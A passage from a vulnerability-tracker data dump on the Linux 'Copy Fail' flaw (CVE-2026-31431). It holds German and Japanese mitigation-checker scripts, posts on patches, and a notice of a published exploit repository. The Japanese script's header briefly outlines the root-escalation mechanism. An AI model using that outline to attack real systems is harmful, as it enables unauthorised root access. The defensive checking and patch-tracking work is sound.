\"kmod-Mitigation ist installiert (USN-8226-1).\"  \n                    KMOD_FIX_STATUS=\"patched\"  \n                else\n                    vuln \"kmod-Mitigation FEHLT \u2014 installiert: $INSTALLED_KMOD, ben\u00f6tigt: $KMOD_FIX_VER\"  \n                    KMOD_FIX_STATUS=\"vulnerable\"  \n                fi\n            else\n                warn \"kmod-Paket nicht gefunden \u2014 Mitigation-Status unklar.\"  \n            fi\n        fi\n\n        # --- 3b: Kernel-Patch pr\u00fcfen ----------------------------------------\n        CANDIDATES=\"$SOURCE_PKG_TRACK\"  \n        case \"$SOURCE_PKG_TRACK\" in  \n            linux-hwe-*|linux-hwe)\n                CANDIDATES=\"$CANDIDATES linux-hwe linux\"  \n                ;;\n            linux-aws*|linux-azure*|linux-gcp*|linux-oracle*)\n                CANDIDATES=\"$CANDIDATES linux\"  \n                ;;\n        esac\n\n        RESULT=\"\"  \n        MATCHED_PKG=\"\"  \n        if [ -n \"$SOURCE_PKG_TRACK\" ]; then  \n            for cand in $CANDIDATES; do\n                R=$(printf '%s' \"$JSON\" | SRC=\"$cand\" REL=\"$RELEASE_CODENAME\" python3 -c '  \nimport json, sys, os\ntry: data = json.load(sys.stdin)\nexcept Exception as e: print(\"ERROR|\"+str(e)); sys.exit(0)  \nsrc = os.environ[\"SRC\"]; rel = os.environ[\"REL\"]  \nfor pkg in data.get(\"packages\", []):  \n    if pkg.get(\"name\") != src: continue  \n    for st in pkg.get(\"statuses\", []):  \n        if st.get(\"release_codename\") == rel:  \n            print(f\"{st.get(\\\"status\\\",\\\"?\\\")}|{st.get(\\\"description\\\",\\\"\\\") or \\\"\\\"}\")  \n            sys.exit(0)\nprint(\"not_found|\")  \n' 2>/dev/null)  \n                S=$(echo \"$R\" | cut -d'|' -f1)  \n                if [ \"$S\" != \"not_found\" ] && [ \"$S\" != \"ERROR\" ] && [ -n \"$S\" ]; then  \n                    RESULT=\"$R\"; MATCHED_PKG=\"$cand\"; break  \n                fi\n            done\n        fi\n\n        [ -z \"$RESULT\" ] && RESULT=\"not_found|\"  \n        STATUS=$(echo \"$RESULT\" | cut -d'|' -f1)  \n        DESCR=$(echo \"$RESULT\" | cut -d'|' -f2-)  \n        [ -n \"$MATCHED_PKG\" ] && [ \"$MATCHED_PKG\" != \"$SOURCE_PKG_TRACK\" ] && info \"Kernel-Treffer unter Fallback: $MATCHED_PKG\"  \n\n        case \"$STATUS\" in  \n            released)\n                ok \"Kernel-Patch verf\u00fcgbar.\"  \n                [ -n \"$DESCR\" ] && info \"Gefixte Kernel-Version: $DESCR\"  \n                FIXED_VER=\"$DESCR\"  \n                if [ -n \"$INSTALLED_VER\" ] && [ -n \"$FIXED_VER\" ]; then  \n                    if dpkg --compare-versions \"$INSTALLED_VER\" ge \"$FIXED_VER\"; then  \n                        ok \"Kernel installiert ($INSTALLED_VER) >= Fix ($FIXED_VER) \u2192 GEPATCHT\"  \n                        PATCH_STATUS=\"patched\"  \n                    else\n                        vuln \"Kernel installiert ($INSTALLED_VER) < Fix ($FIXED_VER)\"  \n                        PATCH_STATUS=\"vulnerable\"  \n                    fi\n                fi\n                ;;\n            needed|pending|deferred)\n                info \"Kernel-Patch von Ubuntu: noch nicht ver\u00f6ffentlicht.\"  \n                info \"(Status im Tracker: $STATUS)\"  \n                PATCH_STATUS=\"kernel_pending\"  \n                ;;\n            \"not-affected\"|DNE)  \n                ok \"Kernel-Status: $STATUS \u2014 Release/Paket ist nicht betroffen.\"  \n                PATCH_STATUS=\"not_affected\"  \n                ;;\n            ignored)\n                warn \"Kernel-Status: ignored \u2014 siehe Ubuntu-Tracker.\"  \n                ;;\n            ERROR|not_found|\"\")  \n                info \"Kernel-Patch von Ubuntu: noch nicht ver\u00f6ffentlicht.\"  \n                PATCH_STATUS=\"kernel_pending\"  \n                ;;\n            *)\n                warn \"Unbekannter Status: $STATUS\"  \n                ;;\n        esac\n    else\n        warn \"API-Abruf fehlgeschlagen \u2014 Internetverbindung pr\u00fcfen.\"  \n    fi\nelse\n    warn \"API-Check \u00fcbersprungen (fehlende Daten oder Tools).\"  \nfi\necho\n\n# --- 4. algif_aead Modul-Status ----------------------------------------------\necho \"${B}[4/5] algif_aead Modul${N}\"  \nMOD_LOADED=0\nif lsmod 2>/dev/null | grep -q '^algif_aead'; then  \n    MOD_LOADED=1\nfi\n\nBLACKLISTED=0\nif grep -rqsE '^(blacklist[[:space:]]+algif_aead|install[[:space:]]+algif_aead[[:space:]]+/bin/(false|true))' /etc/modprobe.d/ /usr/lib/modprobe.d/ /run/modprobe.d/ 2>/dev/null; then  \n    BLACKLISTED=1\nfi\n\n# Zusammenfassende Bewertung der beiden Checks\nif [ \"$MOD_LOADED\" -eq 0 ] && [ \"$BLACKLISTED\" -eq 1 ]; then  \n    ok \"Modul ist nicht geladen und blockiert \u2014 Angriffsweg zu.\"  \nelif [ \"$MOD_LOADED\" -eq 1 ] && [ \"$BLACKLISTED\" -eq 1 ]; then  \n    warn \"Modul ist GELADEN, obwohl blockiert \u2014 wird beim n\u00e4chsten Reboot entladen.\"  \nelif [ \"$MOD_LOADED\" -eq 0 ] && [ \"$BLACKLISTED\" -eq 0 ]; then  \n    warn \"Modul ist nicht geladen, aber NICHT blockiert \u2014 kann jederzeit nachgeladen werden!\"  \nelse\n    vuln \"Modul ist GELADEN und nicht blockiert \u2014 System angreifbar!\"  \nfi\necho\n\n# --- 5. Gesamtbewertung -------------------------------------------------------\necho \"${B}[5/5] Gesamtbewertung${N}\"  \necho\n\ncase \"$PATCH_STATUS\" in  \n    patched)\n        if [ \"$REBOOT_PENDING\" -eq 1 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: TEILWEISE GESCH\u00dcTZT \u2014 REBOOT N\u00d6TIG${N}\"  \n            echo\n            echo \"  ${B}Aktion:${N} sudo reboot  (sobald m\u00f6glich)\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  Der gepatchte Kernel ist installiert, aber noch nicht aktiv.\"  \n                echo \"  Aktuell l\u00e4uft noch der alte Kernel.\"  \n                if [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n                    echo \"  ${G}Bis zum Reboot sch\u00fctzt dich die Modul-Blacklist.${N}\"  \n                else\n                    echo \"  ${R}ACHTUNG: Ohne Modul-Blacklist bist du bis zum Reboot verwundbar!${N}\"  \n                fi\n            fi\n        else\n            echo \"  ${B}${G}\u00bb Status: VOLL GESCH\u00dcTZT (Kernel-Patch aktiv)${N}\"  \n            verbose \"\"  \n            verbose \"  Der gepatchte Kernel l\u00e4uft. Keine weitere Aktion n\u00f6tig.\"  \n        fi\n        ;;\n\n    not_affected)\n        echo \"  ${B}${G}\u00bb Status: NICHT BETROFFEN${N}\"  \n        ;;\n\n    kernel_pending)\n        if [ \"$KMOD_FIX_STATUS\" = \"patched\" ] && [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${G}\u00bb Status: GESCH\u00dcTZT (durch Mitigation, JETZT)${N}\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  ${B}Bist du jetzt sicher?${N} ${G}Ja, ab sofort.${N}\"  \n                echo \"  Der Angriff braucht das Kernel-Modul 'algif_aead'.\"  \n                echo \"  Dieses Modul ist nicht geladen UND kann nicht geladen werden\"  \n                echo \"  (Ubuntu hat es via kmod-Update USN-8226-1 blockiert).\"  \n                echo \"  \u2192 Der Angriffsweg ist ohne Reboot zu.\"  \n                echo\n                if [ \"$REBOOT_PENDING\" -eq 1 ]; then  \n                    echo \"  ${B}Reboot ausstehend \u2014 was bedeutet das?${N}\"  \n                    echo \"  Der Reboot-Hinweis stammt von einem ANDEREN Update,\"  \n                    echo \"  nicht vom Copy-Fail-Schutz. Du solltest trotzdem\"  \n                    echo \"  bei Gelegenheit neu starten, aber es ist kein Notfall.\"  \n                    echo\n                fi\n                echo \"  ${B}Was steht noch aus?${N}\"  \n                echo \"  Ubuntu wird einen echten Kernel-Patch nachliefern.\"  \n                echo \"  Sobald der da ist, einfach 'apt upgrade' + Reboot.\"  \n                echo \"  Bis dahin reicht die jetzige Mitigation aus.\"  \n                echo\n                echo \"  ${B}Hinweis:${N} 'apt upgrade' bringt aktuell KEINEN Kernel-Fix\"  \n                echo \"  f\u00fcr diese CVE \u2014 Ubuntu hat ihn schlicht noch nicht released.\"  \n                echo \"  Du bist trotzdem voll gesch\u00fctzt.\"  \n            fi\n        elif [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: GESCH\u00dcTZT (manuelle Mitigation)${N}\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  Modul-Blacklist greift, aber das offizielle kmod-Update\"  \n                echo \"  scheint nicht installiert zu sein. Empfehlung:\"  \n                echo \"    sudo apt update && sudo apt upgrade\"  \n            fi\n        else\n            echo \"  ${B}${R}\u00bb Status: VERWUNDBAR \u2014 JETZT HANDELN!${N}\"  \n            echo\n            echo \"  ${B}Sofort ausf\u00fchren:${N}\"  \n            echo \"    sudo apt update && sudo apt upgrade\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  ${B}Falls Update nicht m\u00f6glich, manuelle Notfall-Mitigation:${N}\"  \n                echo \"    echo 'install algif_aead /bin/false' | \\\\\"  \n                echo \"      sudo tee /etc/modprobe.d/disable-algif_aead.conf\"  \n                echo \"    sudo rmmod algif_aead 2>/dev/null || true\"  \n            fi\n        fi\n        ;;\n\n    vulnerable)\n        if [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: GESCH\u00dcTZT (Mitigation), aber Patch fehlt${N}\"  \n            echo\n            echo \"  ${B}Aktion:${N} sudo apt update && sudo apt upgrade && sudo reboot\"  \n            verbose \"\"  \n            verbose \"  Modul-Blacklist greift, daher kein akutes Risiko.\"  \n            verbose \"  Trotzdem zeitnah patchen.\"  \n        else\n            echo \"  ${B}${R}\u00bb Status: VERWUNDBAR \u2014 JETZT HANDELN!${N}\"  \n            echo\n            echo \"  ${B}Sofort ausf\u00fchren:${N} sudo apt update && sudo apt upgrade && sudo reboot\"  \n        fi\n        ;;\n\n    *)\n        echo \"  ${B}${Y}\u00bb Status: UNKLAR \u2014 bitte manuell pr\u00fcfen${N}\"  \n        echo\n        echo \"  $API_URL\"  \n        ;;\nesac\necho\n[ \"$VERBOSE\" -eq 0 ] && echo \"  (Mehr Details: $0 --verbose)\"  \necho\nexit 0\n", "creation_timestamp": "2026-05-11T08:18:58.000000Z"}, {"uuid": "ea7ffd8e-4d8a-4006-8acb-aafaccf6fdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/minyagiri.net/post/3mlkvgvbybkaw", "content": "\u3053\u308c\u306b\u95a2\u3059\u308b\u4fee\u6b63\u306f\u3069\u3046\u306a\u3063\u305f\u3093\u3060\u308d\u3046\u3068\u601d\u3063\u305f\u3089\u3001Debian 13 Trixier \u306f Kernel 6.12.86-1 \u3067\u4fee\u6b63\u6e08\u307f\u3060\u3063\u305f\u3002\n\u6d41\u77f3\u306b\u901f\u3044\u306a\u266a\n\nCVE-2026-31431\nhttps://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-05-11T08:51:21.554729Z"}, {"uuid": "fe3e5206-2ee9-43a0-97de-a50e0fa5e2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mlkvt3hwky2x", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-05-11T08:58:10.848183Z"}, {"uuid": "4e7bc994-286b-497b-b46f-22708aef2621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83783", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a vcheck\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a krisiasty\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 09:35:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nVulnerability detection and mitigation tool for Copy Fail and Dirty Frag bugs (CVE-2026-31431, CVE-2026-43284, CVE-2026-43500)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T10:00:04.000000Z"}, {"uuid": "646a3ffd-6f41-4b46-8170-be27e4c0bcd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/anupyadav.bsky.social/post/3mll56y4dqk2u", "content": "Parrot OS 7.2 is out! \ud83e\udd9c Critical Copy Fail patch (CVE-2026-31431), Linux 6.19.13, 15 updated tools & a new Hack The Box Edition. If you're a pentester \u2014 update now.\n techrefreshing.com/whats-new-in...\n#ParrotOS #Linux #CyberSecurity #EthicalHacking #Infosec", "creation_timestamp": "2026-05-11T11:10:15.448208Z"}, {"uuid": "f0b9b8c0-323d-4f8a-8a59-8fdcf1da7d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83790", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a linux-copy-fail-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a adilkurtulmus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 10:51:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T11:00:04.000000Z"}, {"uuid": "a84f15b9-d5fc-40e5-a2d0-f1fb64b13a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/9XqhTISUbDUPo_c26c1BEinqDeNjvDc1gYqinuT1sIOuN_4", "content": "", "creation_timestamp": "2026-05-11T09:00:05.000000Z"}, {"uuid": "da71782e-2792-42ba-8644-8587e4cda304", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/mGI2CRHqQCjyvA6ju1XF5IWDLp0GZA5_xrkAMw9kytXRmaE", "content": "", "creation_timestamp": "2026-05-11T03:00:06.000000Z"}, {"uuid": "7af600a8-9b41-454a-ab92-03d1ef2ec4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/AI07jPDl7IHRtOitWV_PZ0T-XIh1na8tiD4BR5Qz19J-y9I", "content": "", "creation_timestamp": "2026-05-10T03:00:05.000000Z"}, {"uuid": "612d86de-2d16-4b6d-bb4f-93affa576992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/HPf4rnJhTXs3qYpqLaPVxvSy_pHWUyjw5EcKhHnizBFydaU", "content": "", "creation_timestamp": "2026-05-10T09:00:05.000000Z"}, {"uuid": "1754b660-bf10-4f69-90ec-ae118f967753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/2GOBEcnqip1k_nIIvIE3w-bxwIdIiVvDIafo-Jg_nC3bf9M", "content": "", "creation_timestamp": "2026-05-09T21:00:04.000000Z"}, {"uuid": "d2f6c4de-e8c3-469e-95d4-65da64550be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Yr-1pp_OQlsAxCk9olefEOIlRJklCfDEolOYJn0mNy08hY4", "content": "", "creation_timestamp": "2026-05-09T09:00:04.000000Z"}, {"uuid": "a886e7ba-6f6e-4eb8-b6d6-c51d5ad6704f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mlldulp66i2v", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-05-11T13:09:33.273758Z"}, {"uuid": "b4a50634-fe68-405e-a54e-872ca6e2e382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/corti.com/post/3mllff67ukb25", "content": "I just wrote about CopyFail (CVE-2026-31431): Why a Tiny Linux Kernel Bug Became a Massive Infrastructure Threat corti.com/copyfail-cve...", "creation_timestamp": "2026-05-11T13:36:43.665939Z"}, {"uuid": "3a735d32-12fb-4823-8771-db5ddcbb731e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sascha.corti.com.ap.brid.gy/post/3mllfdyfzfoa2", "content": "A newly disclosed Linux kernel vulnerability dubbed CopyFail (CVE-2026-31431) has quickly become one of the most serious Linux privilege escalation flaws in recent years. The bug allows an unprivileged local user to gain full root access on a vast number of Linux systems released since 2017 \u2014 [\u2026]", "creation_timestamp": "2026-05-11T13:37:31.971211Z"}, {"uuid": "c224fb43-cf6b-4c3b-9977-af64b3dd9874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/flatcar.org/post/3mllmpud73c2k", "content": "Flatcar is unaffected by Copy Fail (CVE-2026-31431)! \n\nThe kernel option causing it was never enabled, because Flatcar is minimal by design and only ships what containers need\n\nSometimes the best mitigation is to reduce the attack surface by not shipping vulnerable components \ud83d\udd12", "creation_timestamp": "2026-05-11T15:48:25.195953Z"}, {"uuid": "01fa30cf-a889-4484-b979-fc5f5f15b851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mllp4ry7bu22", "content": "Lavender Lion has landed! AlmaLinux 10.2 Beta is live; already patched for CVE-2026-31431 before you even asked. \n\nNew packages, updated containers, all arches. Get the full release notes and learn how you can help us test: almalinux.org/blog/2026-05...", "creation_timestamp": "2026-05-11T16:31:16.017453Z"}, {"uuid": "2736930c-72d4-492f-a196-f6fb5301cc99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mllqaic7wc2y", "content": "Three Linux kernel flaws (CVE-2026-23004, CVE-2026-23204, CVE-2026-31431) let local users escalate privileges on SUSE systems. Read more- > tinyurl.com/mr3wx5we  #Security", "creation_timestamp": "2026-05-11T16:50:59.785934Z"}, {"uuid": "f0e5dbf5-cbf6-4fb8-9f98-72e290096c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83838", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFile_CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dgrobinson0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 17:58:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T18:00:04.000000Z"}, {"uuid": "8397357f-c77b-4af6-8413-0ef177266278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/e8LfDRtTf8nzcOa5URmJo_p6nGHeOtUQSV0vmQsSJYMEaqg", "content": "", "creation_timestamp": "2026-05-11T21:00:05.000000Z"}, {"uuid": "dff065d6-ed12-47f6-b7a2-b25170a6ac4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Kuri0421/408ce4a31edcb7d83c9bac0f7f81dae4", "content": "#!/usr/bin/env bash\n# =============================================================================\n# CVE-2026-31431 (\"Copy Fail\") \u5bfe\u7b56\u72b6\u6cc1\u30c1\u30a7\u30c3\u30af\u30b9\u30af\u30ea\u30d7\u30c8\n#\n# \u8106\u5f31\u6027\u6982\u8981:\n#   Linux \u30ab\u30fc\u30cd\u30eb\u306e algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u30ed\u30b8\u30c3\u30af\u6b20\u9665\u306b\u3088\u308a\u3001\n#   \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u304c AF_ALG \u30bd\u30b1\u30c3\u30c8 + splice() \u3092\u7d44\u307f\u5408\u308f\u305b\u3066\n#   \u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u4e0a\u306e\u4efb\u610f\u30d5\u30a1\u30a4\u30eb\u306b 4 \u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u307f root \u3092\u53d6\u5f97\u53ef\u80fd\u3002\n#\n# \u5f71\u97ff\u7bc4\u56f2:\n#   \u30ab\u30fc\u30cd\u30eb 4.14 \u301c 6.18.21 (6.18.22 \u672a\u6e80)\n#   \u30ab\u30fc\u30cd\u30eb 6.19.x           (6.19.12 \u672a\u6e80)\n#\n# \u4fee\u6b63\u30b3\u30df\u30c3\u30c8: fafe0fa2995a  (2026\u5e744\u6708)\n# CVSS \u30b9\u30b3\u30a2:  7.8 (HIGH)\n# =============================================================================\n\nset -euo pipefail\n\n# \u2500\u2500 \u30ab\u30e9\u30fc\u5b9a\u7fa9 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRED='\\033[0;31m'; YELLOW='\\033[0;33m'; GREEN='\\033[0;32m'\nCYAN='\\033[0;36m'; BOLD='\\033[1m'; RESET='\\033[0m'\n\ninfo()    { echo -e \"${CYAN}[INFO]${RESET}  $*\"; }\nok()      { echo -e \"${GREEN}[OK]${RESET}    $*\"; }\nwarn()    { echo -e \"${YELLOW}[WARN]${RESET}  $*\"; }\nfail()    { echo -e \"${RED}[VULN]${RESET}  $*\"; }\nsection() { echo -e \"\\n${BOLD}$*${RESET}\"; echo \"$(printf '\u2500%.0s' {1..60})\"; }\n\n# \u2500\u2500 \u30d0\u30fc\u30b8\u30e7\u30f3\u6bd4\u8f03\u30d8\u30eb\u30d1\u30fc \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# usage: ver_ge A B  \u2192 true if A >= B (\u5404\u8981\u7d20\u306f\u6570\u5024)\nver_ge() {\n    local -a a b\n    IFS='.' read -ra a <<< \"$1\"\n    IFS='.' read -ra b <<< \"$2\"\n    local i\n    for i in \"${!b[@]}\"; do\n        local av=${a[$i]:-0} bv=${b[$i]:-0}\n        (( av > bv )) && return 0\n        (( av < bv )) && return 1\n    done\n    return 0  # equal \u2192 true\n}\n\n# \u2500\u2500 \u7d50\u679c\u30d5\u30e9\u30b0 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nVULN_VERSION=0\nAFALG_REACHABLE=0\nAEAD_REACHABLE=0\nOVERALL=0   # 0=safe, 1=vulnerable, 2=needs-attention\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"1. \u57fa\u672c\u60c5\u5831\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\nKERNEL_FULL=$(uname -r)\nKERNEL_VER=$(echo \"$KERNEL_FULL\" | grep -oE '^[0-9]+\\.[0-9]+\\.[0-9]+')\nKERNEL_MAJOR=$(echo \"$KERNEL_VER\" | cut -d. -f1)\nKERNEL_MINOR=$(echo \"$KERNEL_VER\" | cut -d. -f2)\nKERNEL_PATCH=$(echo \"$KERNEL_VER\" | cut -d. -f3)\nARCH=$(uname -m)\n\ninfo \"\u30ab\u30fc\u30cd\u30eb\u30d0\u30fc\u30b8\u30e7\u30f3 : ${KERNEL_FULL}\"\ninfo \"\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3     : ${ARCH}\"\n\n# OS\u60c5\u5831\nif [[ -f /etc/os-release ]]; then\n    . /etc/os-release\n    info \"OS                : ${PRETTY_NAME:-Unknown}\"\nfi\n\n# 